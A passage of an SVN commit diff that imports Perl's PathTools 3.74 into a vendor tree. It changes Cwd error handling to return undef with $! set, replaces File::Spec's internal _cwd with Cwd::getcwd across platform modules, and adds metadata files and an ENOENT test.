-	    return File::Spec->rel2abs( $start, _backtick_pwd() );
+	    return undef;
 	}
 	unless (@cst = stat($dotdots))
 	{
-	    _carp("stat($dotdots): $!");
+	    my $e = $!;
 	    closedir(PARENT);
-	    return '';
+	    $! = $e;
+	    return undef;
 	}
 	if ($pst[0] == $cst[0] && $pst[1] == $cst[1])
 	{
@@ -473,9 +440,10 @@
 	    {
 		unless (defined ($dir = readdir(PARENT)))
 	        {
-		    _carp("readdir($dotdots): $!");
 		    closedir(PARENT);
-		    return '';
+		    require Errno;
+		    $! = Errno::ENOENT();
+		    return undef;
 		}
 		$tst[0] = $pst[0]+1 unless (@tst = lstat("$dotdots/$dir"))
 	    }
@@ -494,6 +462,7 @@
 sub fast_abs_path {
     local $ENV{PWD} = $ENV{PWD} || ''; # Guard against clobberage
     my $cwd = getcwd();
+    defined $cwd or return undef;
     require File::Spec;
     my $path = @_ ? shift : ($Curdir ||= File::Spec->curdir);
 
@@ -503,7 +472,9 @@
     ($cwd)  = $cwd  =~ /(.*)/s;
 
     unless (-e $path) {
- 	_croak("$path: No such file or directory");
+	require Errno;
+	$! = Errno::ENOENT();
+	return undef;
     }
 
     unless (-d _) {
@@ -514,7 +485,7 @@
 
 	if (-l $path) {
 	    my $link_target = readlink($path);
-	    die "Can't resolve link $path: $!" unless defined $link_target;
+	    defined $link_target or return undef;
 	    
 	    $link_target = File::Spec->catpath($vol, $dir, $link_target)
                 unless File::Spec->file_name_is_absolute($link_target);
@@ -528,7 +499,7 @@
     }
 
     if (!CORE::chdir($path)) {
- 	_croak("Cannot chdir to $path: $!");
+	return undef;
     }
     my $realpath = getcwd();
     if (! ((-d $cwd) && (CORE::chdir($cwd)))) {
@@ -676,11 +647,6 @@
     return $realpath;
 }
 
-sub _epoc_cwd {
-    return $ENV{'PWD'} = EPOC::getcwd();
-}
-
-
 # Now that all the base-level functions are set up, alias the
 # user-level functions to the right places
 
@@ -737,7 +703,8 @@
 
     my $cwd = getcwd();
 
-Returns the current working directory.
+Returns the current working directory.  On error returns C<undef>,
+with C<$!> set to indicate the error.
 
 Exposes the POSIX function getcwd(3) or re-implements it if it's not
 available.
@@ -800,7 +767,8 @@
 
 Uses the same algorithm as getcwd().  Symbolic links and relative-path
 components ("." and "..") are resolved to return the canonical
-pathname, just like realpath(3).
+pathname, just like realpath(3).  On error returns C<undef>, with C<$!>
+set to indicate the error.
 
 =item realpath
 

Modified: vendor/perl/dist/dist/PathTools/Cwd.xs
===================================================================
--- vendor/perl/dist/dist/PathTools/Cwd.xs	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/PathTools/Cwd.xs	2018-12-22 22:55:19 UTC (rev 12126)
@@ -7,6 +7,8 @@
 #include "EXTERN.h"
 #include "perl.h"
 #include "XSUB.h"
+#define NEED_croak_xs_usage
+#define NEED_sv_2pv_flags
 #define NEED_my_strlcpy
 #define NEED_my_strlcat
 #include "ppport.h"
@@ -134,9 +136,9 @@
             }
             if (next_token[0] == '\0')
                 continue;
-            else if (strcmp(next_token, ".") == 0)
+            else if (strEQ(next_token, "."))
                 continue;
-            else if (strcmp(next_token, "..") == 0) {
+            else if (strEQ(next_token, "..")) {
                 /*
                  * Strip the last path component except when we have
                  * single "/"

Added: vendor/perl/dist/dist/PathTools/MANIFEST
===================================================================
--- vendor/perl/dist/dist/PathTools/MANIFEST	                        (rev 0)
+++ vendor/perl/dist/dist/PathTools/MANIFEST	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,29 @@
+Changes
+Cwd.pm
+Cwd.xs
+lib/File/Spec.pm
+lib/File/Spec/AmigaOS.pm
+lib/File/Spec/Cygwin.pm
+lib/File/Spec/Epoc.pm
+lib/File/Spec/Functions.pm
+lib/File/Spec/Mac.pm
+lib/File/Spec/OS2.pm
+lib/File/Spec/Unix.pm
+lib/File/Spec/VMS.pm
+lib/File/Spec/Win32.pm
+Makefile.PL
+MANIFEST			This list of files
+META.json
+META.yml
+ppport.h
+t/abs2rel.t
+t/crossplatform.t
+t/cwd.t
+t/cwd_enoent.t
+t/Functions.t
+t/rel2abs2rel.t
+t/Spec-taint.t
+t/Spec.t
+t/taint.t
+t/tmpdir.t
+t/win32.t

Added: vendor/perl/dist/dist/PathTools/META.json
===================================================================
--- vendor/perl/dist/dist/PathTools/META.json	                        (rev 0)
+++ vendor/perl/dist/dist/PathTools/META.json	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,55 @@
+{
+   "abstract" : "Tools for working with directory and file names",
+   "author" : [
+      "Perl 5 Porters"
+   ],
+   "dynamic_config" : 1,
+   "generated_by" : "ExtUtils::MakeMaker version 7.24, CPAN::Meta::Converter version 2.150010",
+   "license" : [
+      "perl_5"
+   ],
+   "meta-spec" : {
+      "url" : "http://search.cpan.org/perldoc?CPAN::Meta::Spec",
+      "version" : "2"
+   },
+   "name" : "PathTools",
+   "no_index" : {
+      "directory" : [
+         "t",
+         "inc"
+      ]
+   },
+   "prereqs" : {
+      "build" : {
+         "requires" : {
+            "ExtUtils::MakeMaker" : "0"
+         }
+      },
+      "configure" : {
+         "requires" : {
+            "ExtUtils::MakeMaker" : "0"
+         }
+      },
+      "runtime" : {
+         "requires" : {
+            "Carp" : "0",
+            "File::Basename" : "0",
+            "Scalar::Util" : "0",
+            "Test::More" : "0.88"
+         }
+      }
+   },
+   "release_status" : "stable",
+   "resources" : {
+      "bugtracker" : {
+         "web" : "https://rt.perl.org/rt3/"
+      },
+      "homepage" : "http://dev.perl.org/",
+      "repository" : {
+         "type" : "git",
+         "url" : "git://perl5.git.perl.org/perl.git"
+      }
+   },
+   "version" : "3.73",
+   "x_serialization_backend" : "JSON::PP version 2.27400_02"
+}

Added: vendor/perl/dist/dist/PathTools/META.yml
===================================================================
--- vendor/perl/dist/dist/PathTools/META.yml	                        (rev 0)
+++ vendor/perl/dist/dist/PathTools/META.yml	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,30 @@
+---
+abstract: 'Tools for working with directory and file names'
+author:
+  - 'Perl 5 Porters'
+build_requires:
+  ExtUtils::MakeMaker: '0'
+configure_requires:
+  ExtUtils::MakeMaker: '0'
+dynamic_config: 1
+generated_by: 'ExtUtils::MakeMaker version 7.24, CPAN::Meta::Converter version 2.150010'
+license: perl
+meta-spec:
+  url: http://module-build.sourceforge.net/META-spec-v1.4.html
+  version: '1.4'
+name: PathTools
+no_index:
+  directory:
+    - t
+    - inc
+requires:
+  Carp: '0'
+  File::Basename: '0'
+  Scalar::Util: '0'
+  Test::More: '0.88'
+resources:
+  bugtracker: https://rt.perl.org/rt3/
+  homepage: http://dev.perl.org/
+  repository: git://perl5.git.perl.org/perl.git
+version: '3.73'
+x_serialization_backend: 'CPAN::Meta::YAML version 0.018'

Modified: vendor/perl/dist/dist/PathTools/Makefile.PL
===================================================================
--- vendor/perl/dist/dist/PathTools/Makefile.PL	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/PathTools/Makefile.PL	2018-12-22 22:55:19 UTC (rev 12126)
@@ -9,11 +9,26 @@
 
 require 5.005;
 use ExtUtils::MakeMaker;
+
+my @extra;
+push @extra, 'LICENSE' => 'perl_5'
+    unless $ExtUtils::MakeMaker::VERSION < 6.31;
+push @extra, 'META_MERGE' => {
+        resources => {
+            repository  => 'git://perl5.git.perl.org/perl.git',
+            bugtracker  => 'https://rt.perl.org/rt3/',
+            homepage    => "http://dev.perl.org/",
+            license     => [ 'http://dev.perl.org/licenses/' ],
+        },
+    } unless $ExtUtils::MakeMaker::VERSION < 6.46;
+
 WriteMakefile
 (
           'DISTNAME' => 'PathTools',
           'NAME' => 'Cwd',
           'VERSION_FROM' => 'Cwd.pm',
+          'ABSTRACT' => 'Tools for working with directory and file names',
+          'AUTHOR' => 'Perl 5 Porters',
           'DEFINE' => join(" ",
                 "-DDOUBLE_SLASHES_SPECIAL=@{[$^O eq q(qnx) || $^O eq q(nto) ? 1 : 0]}",
                 ((grep { $_ eq 'PERL_CORE=1' } @ARGV) ? '-DNO_PPPORT_H' : ()),
@@ -27,6 +42,7 @@
                          },
           ($] > 5.011) ? () : ( INSTALLDIRS => 'perl' ), # CPAN sourced versions should now install to site
           'EXE_FILES' => [],
-          'PL_FILES' => {}
+          'PL_FILES' => {},
+          @extra,
         )
 ;

Modified: vendor/perl/dist/dist/PathTools/lib/File/Spec/AmigaOS.pm
===================================================================
--- vendor/perl/dist/dist/PathTools/lib/File/Spec/AmigaOS.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/PathTools/lib/File/Spec/AmigaOS.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,13 +1,12 @@
 package File::Spec::AmigaOS;
 
 use strict;
-use vars qw(@ISA $VERSION);
 require File::Spec::Unix;
 
-$VERSION = '3.67';
+our $VERSION = '3.74';
 $VERSION =~ tr/_//d;
 
- at ISA = qw(File::Spec::Unix);
+our @ISA = qw(File::Spec::Unix);
 
 =head1 NAME
 

Modified: vendor/perl/dist/dist/PathTools/lib/File/Spec/Cygwin.pm
===================================================================
--- vendor/perl/dist/dist/PathTools/lib/File/Spec/Cygwin.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/PathTools/lib/File/Spec/Cygwin.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,13 +1,12 @@
 package File::Spec::Cygwin;
 
 use strict;
-use vars qw(@ISA $VERSION);
 require File::Spec::Unix;
 
-$VERSION = '3.67';
+our $VERSION = '3.74';
 $VERSION =~ tr/_//d;
 
- at ISA = qw(File::Spec::Unix);
+our @ISA = qw(File::Spec::Unix);
 
 =head1 NAME
 

Modified: vendor/perl/dist/dist/PathTools/lib/File/Spec/Epoc.pm
===================================================================
--- vendor/perl/dist/dist/PathTools/lib/File/Spec/Epoc.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/PathTools/lib/File/Spec/Epoc.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,13 +1,12 @@
 package File::Spec::Epoc;
 
 use strict;
-use vars qw($VERSION @ISA);
 
-$VERSION = '3.67';
+our $VERSION = '3.74';
 $VERSION =~ tr/_//d;
 
 require File::Spec::Unix;
- at ISA = qw(File::Spec::Unix);
+our @ISA = qw(File::Spec::Unix);
 
 =head1 NAME
 

Modified: vendor/perl/dist/dist/PathTools/lib/File/Spec/Functions.pm
===================================================================
--- vendor/perl/dist/dist/PathTools/lib/File/Spec/Functions.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/PathTools/lib/File/Spec/Functions.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -3,16 +3,14 @@
 use File::Spec;
 use strict;
 
-use vars qw(@ISA @EXPORT @EXPORT_OK %EXPORT_TAGS $VERSION);
-
-$VERSION = '3.67';
+our $VERSION = '3.74';
 $VERSION =~ tr/_//d;
 
 require Exporter;
 
- at ISA = qw(Exporter);
+our @ISA = qw(Exporter);
 
- at EXPORT = qw(
+our @EXPORT = qw(
 	canonpath
 	catdir
 	catfile
@@ -24,7 +22,7 @@
 	path
 );
 
- at EXPORT_OK = qw(
+our @EXPORT_OK = qw(
 	devnull
 	tmpdir
 	splitpath
@@ -35,7 +33,7 @@
 	case_tolerant
 );
 
-%EXPORT_TAGS = ( ALL => [ @EXPORT_OK, @EXPORT ] );
+our %EXPORT_TAGS = ( ALL => [ @EXPORT_OK, @EXPORT ] );
 
 require File::Spec::Unix;
 my %udeps = (

Modified: vendor/perl/dist/dist/PathTools/lib/File/Spec/Mac.pm
===================================================================
--- vendor/perl/dist/dist/PathTools/lib/File/Spec/Mac.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/PathTools/lib/File/Spec/Mac.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,19 +1,14 @@
 package File::Spec::Mac;
 
 use strict;
-use vars qw(@ISA $VERSION);
+use Cwd ();
 require File::Spec::Unix;
 
-$VERSION = '3.67';
+our $VERSION = '3.74';
 $VERSION =~ tr/_//d;
 
- at ISA = qw(File::Spec::Unix);
+our @ISA = qw(File::Spec::Unix);
 
-my $macfiles;
-if ($^O eq 'MacOS') {
-	$macfiles = eval { require Mac::Files };
-}
-
 sub case_tolerant { 1 }
 
 
@@ -343,27 +338,11 @@
 
 =item rootdir
 
-Returns a string representing the root directory.  Under MacPerl,
-returns the name of the startup volume, since that's the closest in
-concept, although other volumes aren't rooted there. The name has a
-trailing ":", because that's the correct specification for a volume
-name on Mac OS.
+Returns the empty string.  Mac OS has no real root directory.
 
-If Mac::Files could not be loaded, the empty string is returned.
-
 =cut
 
-sub rootdir {
-#
-#  There's no real root directory on Mac OS. The name of the startup
-#  volume is returned, since that's the closest in concept.
-#
-    return '' unless $macfiles;
-    my $system = Mac::Files::FindFolder(&Mac::Files::kOnSystemDisk,
-	&Mac::Files::kSystemFolderType);
-    $system =~ s/:.*\Z(?!\n)/:/s;
-    return $system;
-}
+sub rootdir { '' }
 
 =item tmpdir
 
@@ -669,7 +648,7 @@
 
     # Figure out the effective $base and clean it up.
     if ( !defined( $base ) || $base eq '' ) {
-	$base = $self->_cwd();
+	$base = Cwd::getcwd();
     }
     elsif ( ! $self->file_name_is_absolute( $base ) ) {
         $base = $self->rel2abs( $base ) ;
@@ -737,7 +716,7 @@
     if ( ! $self->file_name_is_absolute($path) ) {
         # Figure out the effective $base and clean it up.
         if ( !defined( $base ) || $base eq '' ) {
-	    $base = $self->_cwd();
+	    $base = Cwd::getcwd();
         }
         elsif ( ! $self->file_name_is_absolute($base) ) {
             $base = $self->rel2abs($base) ;

Modified: vendor/perl/dist/dist/PathTools/lib/File/Spec/OS2.pm
===================================================================
--- vendor/perl/dist/dist/PathTools/lib/File/Spec/OS2.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/PathTools/lib/File/Spec/OS2.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,13 +1,13 @@
 package File::Spec::OS2;
 
 use strict;
-use vars qw(@ISA $VERSION);
+use Cwd ();
 require File::Spec::Unix;
 
-$VERSION = '3.67';
+our $VERSION = '3.74';
 $VERSION =~ tr/_//d;
 
- at ISA = qw(File::Spec::Unix);
+our @ISA = qw(File::Spec::Unix);
 
 sub devnull {
     return "/dev/nul";
@@ -30,11 +30,6 @@
     return @path;
 }
 
-sub _cwd {
-    # In OS/2 the "require Cwd" is unnecessary bloat.
-    return Cwd::sys_cwd();
-}
-
 sub tmpdir {
     my $cached = $_[0]->_cached_tmpdir(qw 'TMPDIR TEMP TMP');
     return $cached if defined $cached;
@@ -148,7 +143,7 @@
 
     # Figure out the effective $base and clean it up.
     if ( !defined( $base ) || $base eq '' ) {
-	$base = $self->_cwd();
+	$base = Cwd::getcwd();
     } elsif ( ! $self->file_name_is_absolute( $base ) ) {
         $base = $self->rel2abs( $base ) ;
     } else {
@@ -205,7 +200,7 @@
     if ( ! $self->file_name_is_absolute( $path ) ) {
 
         if ( !defined( $base ) || $base eq '' ) {
-	    $base = $self->_cwd();
+	    $base = Cwd::getcwd();
         }
         elsif ( ! $self->file_name_is_absolute( $base ) ) {
             $base = $self->rel2abs( $base ) ;

Modified: vendor/perl/dist/dist/PathTools/lib/File/Spec/Unix.pm
===================================================================
--- vendor/perl/dist/dist/PathTools/lib/File/Spec/Unix.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/PathTools/lib/File/Spec/Unix.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,26 +1,11 @@
 package File::Spec::Unix;
 
 use strict;
-use vars qw($VERSION);
+use Cwd ();
 
-$VERSION = '3.67';
-my $xs_version = $VERSION;
+our $VERSION = '3.74';
 $VERSION =~ tr/_//d;
 
-#dont try to load XSLoader and DynaLoader only to ultimately fail on miniperl
-if(!defined &canonpath && defined &DynaLoader::boot_DynaLoader) {
-  eval {#eval is questionable since we are handling potential errors like
-        #"Cwd object version 3.48 does not match bootstrap parameter 3.50
-        #at lib/DynaLoader.pm line 216." by having this eval
-    if ( $] >= 5.006 ) {
-	require XSLoader;
-	XSLoader::load("Cwd", $xs_version);
-    } else {
-	require Cwd;
-    }
-  };
-}
-
 =head1 NAME
 
 File::Spec::Unix - File::Spec for Unix, base for other File::Spec modules
@@ -185,7 +170,8 @@
 	@dirlist = grep { ! Scalar::Util::tainted($_) } @dirlist;
     }
     elsif ($] < 5.007) { # No ${^TAINT} before 5.8
-	@dirlist = grep { eval { eval('1'.substr $_,0,0) } } @dirlist;
+	@dirlist = grep { !defined($_) || eval { eval('1'.substr $_,0,0) } }
+			@dirlist;
     }
     
     foreach (@dirlist) {
@@ -409,7 +395,7 @@
 
 sub abs2rel {
     my($self,$path,$base) = @_;
-    $base = $self->_cwd() unless defined $base and length $base;
+    $base = Cwd::getcwd() unless defined $base and length $base;
 
     ($path, $base) = map $self->canonpath($_), $path, $base;
 
@@ -436,7 +422,7 @@
 	}
     }
     else {
-	my $wd= ($self->splitpath($self->_cwd(), 1))[1];
+	my $wd= ($self->splitpath(Cwd::getcwd(), 1))[1];
 	$path_directories = $self->catdir($wd, $path);
 	$base_directories = $self->catdir($wd, $base);
     }
@@ -519,7 +505,7 @@
     if ( ! $self->file_name_is_absolute( $path ) ) {
         # Figure out the effective $base and clean it up.
         if ( !defined( $base ) || $base eq '' ) {
-	    $base = $self->_cwd();
+	    $base = Cwd::getcwd();
         }
         elsif ( ! $self->file_name_is_absolute( $base ) ) {
             $base = $self->rel2abs( $base ) ;
@@ -552,15 +538,6 @@
 
 =cut
 
-# Internal routine to File::Spec, no point in making this public since
-# it is the standard Cwd interface.  Most of the platform-specific
-# File::Spec subclasses use this.
-sub _cwd {
-    require Cwd;
-    Cwd::getcwd();
-}
-
-
 # Internal method to reduce xx\..\yy -> yy
 sub _collapse {
     my($fs, $path) = @_;

Modified: vendor/perl/dist/dist/PathTools/lib/File/Spec/VMS.pm
===================================================================
--- vendor/perl/dist/dist/PathTools/lib/File/Spec/VMS.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/PathTools/lib/File/Spec/VMS.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,13 +1,13 @@
 package File::Spec::VMS;
 
 use strict;
-use vars qw(@ISA $VERSION);
+use Cwd ();
 require File::Spec::Unix;
 
-$VERSION = '3.67';
+our $VERSION = '3.74';
 $VERSION =~ tr/_//d;
 
- at ISA = qw(File::Spec::Unix);
+our @ISA = qw(File::Spec::Unix);
 
 use File::Basename;
 use VMS::Filespec;
@@ -442,7 +442,7 @@
     my $self = shift;
     my($path,$base) = @_;
 
-    $base = $self->_cwd() unless defined $base and length $base;
+    $base = Cwd::getcwd() unless defined $base and length $base;
 
     # If there is no device or directory syntax on $base, make sure it
     # is treated as a directory.
@@ -514,7 +514,7 @@
     if ( ! $self->file_name_is_absolute( $path ) ) {
         # Figure out the effective $base and clean it up.
         if ( !defined( $base ) || $base eq '' ) {
-            $base = $self->_cwd;
+            $base = Cwd::getcwd();
         }
         elsif ( ! $self->file_name_is_absolute( $base ) ) {
             $base = $self->rel2abs( $base ) ;

Modified: vendor/perl/dist/dist/PathTools/lib/File/Spec/Win32.pm
===================================================================
--- vendor/perl/dist/dist/PathTools/lib/File/Spec/Win32.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/PathTools/lib/File/Spec/Win32.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,13 +2,13 @@
 
 use strict;
 
-use vars qw(@ISA $VERSION);
+use Cwd ();
 require File::Spec::Unix;
 
-$VERSION = '3.67';
+our $VERSION = '3.74';
 $VERSION =~ tr/_//d;
 
- at ISA = qw(File::Spec::Unix);
+our @ISA = qw(File::Spec::Unix);
 
 # Some regexes we use for path splitting
 my $DRIVE_RX = '[a-zA-Z]:';
@@ -330,14 +330,13 @@
 
     if ($is_abs) {
       # It's missing a volume, add one
-      my $vol = ($self->splitpath( $self->_cwd() ))[0];
+      my $vol = ($self->splitpath( Cwd::getcwd() ))[0];
       return $self->canonpath( $vol . $path );
     }
 
     if ( !defined( $base ) || $base eq '' ) {
-      require Cwd ;
       $base = Cwd::getdcwd( ($self->splitpath( $path ))[0] ) if defined &Cwd::getdcwd ;
-      $base = $self->_cwd() unless defined $base ;
+      $base = Cwd::getcwd() unless defined $base ;
     }
     elsif ( ! $self->file_name_is_absolute( $base ) ) {
       $base = $self->rel2abs( $base ) ;

Modified: vendor/perl/dist/dist/PathTools/lib/File/Spec.pm
===================================================================
--- vendor/perl/dist/dist/PathTools/lib/File/Spec.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/PathTools/lib/File/Spec.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,16 +1,14 @@
 package File::Spec;
 
 use strict;
-use vars qw(@ISA $VERSION);
 
-$VERSION = '3.67';
+our $VERSION = '3.74';
 $VERSION =~ tr/_//d;
 
-my %module = (MacOS   => 'Mac',
+my %module = (
 	      MSWin32 => 'Win32',
 	      os2     => 'OS2',
 	      VMS     => 'VMS',
-	      epoc    => 'Epoc',
 	      NetWare => 'Win32', # Yes, File::Spec::Win32 works on NetWare.
 	      symbian => 'Win32', # Yes, File::Spec::Win32 works on symbian.
 	      dos     => 'OS2',   # Yes, File::Spec::OS2 works on DJGPP.
@@ -21,7 +19,7 @@
 my $module = $module{$^O} || 'Unix';
 
 require "File/Spec/$module.pm";
- at ISA = ("File::Spec::$module");
+our @ISA = ("File::Spec::$module");
 
 1;
 

Modified: vendor/perl/dist/dist/PathTools/t/Spec.t
===================================================================
--- vendor/perl/dist/dist/PathTools/t/Spec.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/PathTools/t/Spec.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -61,6 +61,9 @@
 [ "Unix->catfile('a', do { my \$x = 'b'.chr(0xaf); use utf8 (); utf8::upgrade(\$x); \$x })",   'a/b'.chr(0xaf)   ],
 ) : ()),
 [ "Unix->catfile(substr('foo', 2))", 'o' ],
+# https://rt.cpan.org/Ticket/Display.html?id=121633
+# https://rt.perl.org/Ticket/Display.html?id=131296
+[ "Unix->catfile('.', 'hints', 'Makefile.PL')", 'hints/Makefile.PL' ],
 
 [ "Unix->splitpath('file')",            ',,file'            ],
 [ "Unix->splitpath('/d1/d2/d3/')",      ',/d1/d2/d3/,'      ],
@@ -139,6 +142,7 @@
 ($] >= 5.008 ? (
 [ "Unix->canonpath(do { my \$x = '///a'.chr(0xaf); use utf8 (); utf8::upgrade(\$x); \$x })",   '/a'.chr(0xaf)   ],
 ) : ()),
+[ "Unix->canonpath(1)",                        '1'              ],
 
 [  "Unix->abs2rel('/t1/t2/t3','/t1/t2/t3')",          '.'                  ],
 [  "Unix->abs2rel('/t1/t2/t4','/t1/t2/t3')",          '../t4'              ],
@@ -284,7 +288,7 @@
 [ "Win32->canonpath('/..\\')",          '\\'                  ],
 [ "Win32->canonpath('d1/../foo')",      'foo'                 ],
 
-# FakeWin32 subclass (see below) just sets CWD to C:\one\two and getdcwd('D') to D:\alpha\beta
+# FakeWin32 subclass (see below) just sets getcwd() to C:\one\two and getdcwd('D') to D:\alpha\beta
 
 [ "FakeWin32->abs2rel('/t1/t2/t3','/t1/t2/t3')",     '.'                      ],
 [ "FakeWin32->abs2rel('/t1/t2/t4','/t1/t2/t3')",     '..\\t4'                 ],
@@ -797,15 +801,10 @@
 
 ) ;
 
-can_ok('File::Spec::Win32', '_cwd');
-
 {
     package File::Spec::FakeWin32;
-    use vars qw(@ISA);
-    @ISA = qw(File::Spec::Win32);
+    our @ISA = qw(File::Spec::Win32);
 
-    sub _cwd { 'C:\\one\\two' }
-
     # Some funky stuff to override Cwd::getdcwd() for testing purposes,
     # in the limited scope of the rel2abs() method.
     if ($Cwd::VERSION && $Cwd::VERSION gt '2.17') {  # Avoid a 'used only once' warning
@@ -813,6 +812,8 @@
 	*rel2abs = sub {
 	    my $self = shift;
 	    local $^W;
+	    local *Cwd::getcwd = sub { 'C:\\one\\two' };
+	    *Cwd::getcwd = *Cwd::getcwd; # Avoid a 'used only once' warning
 	    local *Cwd::getdcwd = sub {
 	      return 'D:\alpha\beta' if $_[0] eq 'D:';
 	      return 'C:\one\two'    if $_[0] eq 'C:';
@@ -822,6 +823,14 @@
 	    return $self->SUPER::rel2abs(@_);
 	};
 	*rel2abs = *rel2abs; # Avoid a 'used only once' warning
+	*abs2rel = sub {
+	    my $self = shift;
+	    local $^W;
+	    local *Cwd::getcwd = sub { 'C:\\one\\two' };
+	    *Cwd::getcwd = *Cwd::getcwd; # Avoid a 'used only once' warning
+	    return $self->SUPER::abs2rel(@_);
+	};
+	*abs2rel = *abs2rel; # Avoid a 'used only once' warning
     }
 }
 

Modified: vendor/perl/dist/dist/PathTools/t/cwd.t
===================================================================
--- vendor/perl/dist/dist/PathTools/t/cwd.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/PathTools/t/cwd.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -145,7 +145,7 @@
 
 foreach my $func (qw(cwd getcwd fastcwd fastgetcwd)) {
   my $result = eval "$func()";
-  is $@, '';
+  is $@, '', "No exception for ${func}() in string eval";
   dir_ends_with( $result, $Test_Dir, "$func()" );
 }
 
@@ -171,7 +171,7 @@
   my $check = ($vms_mode ? qr|\b((?i)t)\]$| :
 			   qr|\bt$| );
   
-  like($ENV{PWD}, $check);
+  like($ENV{PWD}, $check, "We're in a 't' directory");
 }
 
 {
@@ -179,7 +179,7 @@
   my $start_pwd = $ENV{PWD};
   mkpath([$Test_Dir], 0, 0777);
   Cwd::abs_path($Test_Dir);
-  is $ENV{PWD}, $start_pwd;
+  is $ENV{PWD}, $start_pwd, "abs_path() does not trample \$ENV{PWD}";
   rmtree($test_dirs[0], 0, 0);
 }
 
@@ -192,6 +192,7 @@
 
     my $abs_path      =  Cwd::abs_path($file);
     my $fast_abs_path =  Cwd::fast_abs_path($file);
+    my $pas           =  Cwd::_perl_abs_path($file);
     my $want          =  quotemeta(
                            File::Spec->rel2abs( $Test_Dir )
                          );
@@ -205,9 +206,9 @@
        $want = quotemeta($want);
     }
 
-    like($abs_path,      qr|$want$|i);
-    like($fast_abs_path, qr|$want$|i);
-    like(Cwd::_perl_abs_path($file), qr|$want$|i) if $EXTRA_ABSPATH_TESTS;
+    like($abs_path,      qr|$want$|i, "Cwd::abs_path produced $abs_path");
+    like($fast_abs_path, qr|$want$|i, "Cwd::fast_abs_path produced $fast_abs_path");
+    like($pas,           qr|$want$|i, "Cwd::_perl_abs_path produced $pas") if $EXTRA_ABSPATH_TESTS;
 
     rmtree($test_dirs[0], 0, 0);
     1 while unlink $file;
@@ -248,8 +249,8 @@
 
 SKIP: {
   my $dir = "${$}a\nx";
-  mkdir $dir or skip "OS does not support dir names containing LF";
-  chdir $dir or skip "OS cannot chdir into LF";
+  mkdir $dir or skip "OS does not support dir names containing LF", 1;
+  chdir $dir or skip "OS cannot chdir into LF", 1;
   eval { Cwd::fast_abs_path() };
   is $@, "", 'fast_abs_path does not die in dir whose name contains LF';
   chdir File::Spec->updir;

Added: vendor/perl/dist/dist/PathTools/t/cwd_enoent.t
===================================================================
--- vendor/perl/dist/dist/PathTools/t/cwd_enoent.t	                        (rev 0)
+++ vendor/perl/dist/dist/PathTools/t/cwd_enoent.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,52 @@
+use warnings;
+use strict;
+
+use Config;
+use Errno qw(ENOENT);
+use File::Temp qw(tempdir);
+use Test::More;
+
+if($^O eq "cygwin") {
+    # This test skipping should be removed when the Cygwin bug is fixed.
+    plan skip_all => "getcwd() fails to fail on Cygwin [perl #132733]";
+}
+
+my $tmp = tempdir(CLEANUP => 1);
+unless(mkdir("$tmp/testdir") && chdir("$tmp/testdir") && rmdir("$tmp/testdir")){
+    plan skip_all => "can't be in non-existent directory";
+}
+
+plan tests => 8;
+require Cwd;
+
+foreach my $type (qw(regular perl)) {
+    SKIP: {
+	skip "_perl_abs_path() not expected to work", 4
+	    if $type eq "perl" &&
+		!(($Config{prefix} =~ m/\//) && $^O ne "cygwin");
+
+	skip "getcwd() doesn't fail on non-existent directories on this platform", 4
+	    if $type eq 'regular' && $^O eq 'dragonfly';
+
+	no warnings "redefine";
+	local *Cwd::abs_path = \&Cwd::_perl_abs_path if $type eq "perl";
+	local *Cwd::getcwd = \&Cwd::_perl_getcwd if $type eq "perl";
+	my($res, $eno);
+	$! = 0;
+	$res = Cwd::getcwd();
+	$eno = 0+$!;
+	is $res, undef, "$type getcwd result on non-existent directory";
+	is $eno, ENOENT, "$type getcwd errno on non-existent directory";
+	$! = 0;
+	$res = Cwd::abs_path(".");
+	$eno = 0+$!;
+	is $res, undef, "$type abs_path result on non-existent directory";
+	is $eno, ENOENT, "$type abs_path errno on non-existent directory";
+    }
+}
+
+chdir $tmp or die "$tmp: $!";
+
+END { chdir $tmp; }
+
+1;

Modified: vendor/perl/dist/dist/PathTools/t/taint.t
===================================================================
--- vendor/perl/dist/dist/PathTools/t/taint.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/PathTools/t/taint.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -11,7 +11,7 @@
 use Test::More;
 BEGIN {
     plan(
-        ${^TAINT}
+	!eval { eval("1".substr($^X,0,0)) }
         ? (tests => 21)
         : (skip_all => "A perl without taint support")
     );

Modified: vendor/perl/dist/dist/Safe/t/safe1.t
===================================================================
